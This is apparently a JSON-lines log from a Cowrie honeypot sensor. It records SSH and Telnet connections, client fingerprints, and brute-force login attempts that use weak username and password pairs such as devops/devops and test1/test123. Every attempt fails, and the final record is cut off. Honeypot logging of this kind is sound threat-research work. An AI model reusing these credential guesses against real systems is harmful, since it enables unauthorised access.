{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45108,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfef151597d0","protocol":"telnet","message":"New connection: 134.209.8.29:45108 (159.203.135.109:23) [session: bfef151597d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:08.112627Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:09.074735Z","src_ip":"176.65.132.254","session":"3f90afdd19f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.97382998466492,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:09.095950Z","src_ip":"134.209.8.29","session":"48b45ac2fee0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58758,"dst_ip":"10.17.0.5","dst_port":22,"session":"79db82690c58","protocol":"ssh","message":"New connection: 176.65.132.254:58758 (10.17.0.5:22) [session: 79db82690c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:11.965645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:11.970701Z","src_ip":"176.65.132.254","session":"79db82690c58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:12.057266Z","src_ip":"176.65.132.254","session":"79db82690c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:12.341640Z","src_ip":"176.65.132.254","session":"79db82690c58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:13.442851Z","src_ip":"176.65.132.254","session":"79db82690c58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40850,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ec66dd6a0c2","protocol":"ssh","message":"New connection: 176.65.132.254:40850 (10.17.0.5:22) [session: 1ec66dd6a0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:16.143555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:16.152350Z","src_ip":"176.65.132.254","session":"1ec66dd6a0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:16.245157Z","src_ip":"176.65.132.254","session":"1ec66dd6a0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:16.693902Z","src_ip":"176.65.132.254","session":"1ec66dd6a0c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:17.779840Z","src_ip":"176.65.132.254","session":"1ec66dd6a0c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.10161638259888,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:19.822026Z","src_ip":"134.209.8.29","session":"01de53a119ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40860,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f178be8bca3","protocol":"ssh","message":"New connection: 176.65.132.254:40860 (10.17.0.5:22) [session: 8f178be8bca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:20.518165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:20.527570Z","src_ip":"176.65.132.254","session":"8f178be8bca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:20.612040Z","src_ip":"176.65.132.254","session":"8f178be8bca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:20.864859Z","src_ip":"176.65.132.254","session":"8f178be8bca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33224,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f166198f4a7","protocol":"telnet","message":"New connection: 38.54.119.93:33224 (10.17.0.5:23) [session: 3f166198f4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:21.856678Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:21.952782Z","src_ip":"176.65.132.254","session":"8f178be8bca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42366,"dst_ip":"10.17.0.5","dst_port":22,"session":"6196c3f2ca6a","protocol":"ssh","message":"New connection: 176.65.132.254:42366 (10.17.0.5:22) [session: 6196c3f2ca6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:24.964743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:24.970145Z","src_ip":"176.65.132.254","session":"6196c3f2ca6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:25.052951Z","src_ip":"176.65.132.254","session":"6196c3f2ca6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:25.453526Z","src_ip":"176.65.132.254","session":"6196c3f2ca6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42220,"dst_ip":"159.203.135.109","dst_port":23,"session":"98990136e855","protocol":"telnet","message":"New connection: 134.209.8.29:42220 (159.203.135.109:23) [session: 98990136e855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:26.247713Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:26.689653Z","src_ip":"176.65.132.254","session":"6196c3f2ca6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37820,"dst_ip":"10.17.0.5","dst_port":23,"session":"d68f762cecdf","protocol":"telnet","message":"New connection: 38.54.119.93:37820 (10.17.0.5:23) [session: d68f762cecdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:29.156680Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42378,"dst_ip":"10.17.0.5","dst_port":22,"session":"68f2ddd453c0","protocol":"ssh","message":"New connection: 176.65.132.254:42378 (10.17.0.5:22) [session: 68f2ddd453c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:29.372791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:29.377041Z","src_ip":"176.65.132.254","session":"68f2ddd453c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:29.458739Z","src_ip":"176.65.132.254","session":"68f2ddd453c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:29.705119Z","src_ip":"176.65.132.254","session":"68f2ddd453c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:30.836400Z","src_ip":"176.65.132.254","session":"68f2ddd453c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.867281198501587,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:31.023830Z","src_ip":"38.54.119.93","session":"d68f762cecdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42228,"dst_ip":"159.203.135.109","dst_port":23,"session":"425dbb52be8f","protocol":"telnet","message":"New connection: 134.209.8.29:42228 (159.203.135.109:23) [session: 425dbb52be8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:31.760756Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48990,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ab976deff24","protocol":"ssh","message":"New connection: 176.65.132.254:48990 (10.17.0.5:22) [session: 3ab976deff24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:33.579216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:33.583487Z","src_ip":"176.65.132.254","session":"3ab976deff24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:33.681668Z","src_ip":"176.65.132.254","session":"3ab976deff24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:34.157511Z","src_ip":"176.65.132.254","session":"3ab976deff24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:35.250701Z","src_ip":"176.65.132.254","session":"3ab976deff24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48996,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bc8471d8f2d","protocol":"ssh","message":"New connection: 176.65.132.254:48996 (10.17.0.5:22) [session: 5bc8471d8f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:37.920251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:37.925084Z","src_ip":"176.65.132.254","session":"5bc8471d8f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:38.008357Z","src_ip":"176.65.132.254","session":"5bc8471d8f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:38.257763Z","src_ip":"176.65.132.254","session":"5bc8471d8f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:39.347076Z","src_ip":"176.65.132.254","session":"5bc8471d8f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.68837523460388,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:40.996599Z","src_ip":"134.209.8.29","session":"bf32921f0772","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39298,"dst_ip":"10.17.0.5","dst_port":22,"session":"648c1dfd8d4b","protocol":"ssh","message":"New connection: 176.65.132.254:39298 (10.17.0.5:22) [session: 648c1dfd8d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:42.264194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:56:42.268976Z","src_ip":"176.65.132.254","session":"648c1dfd8d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","s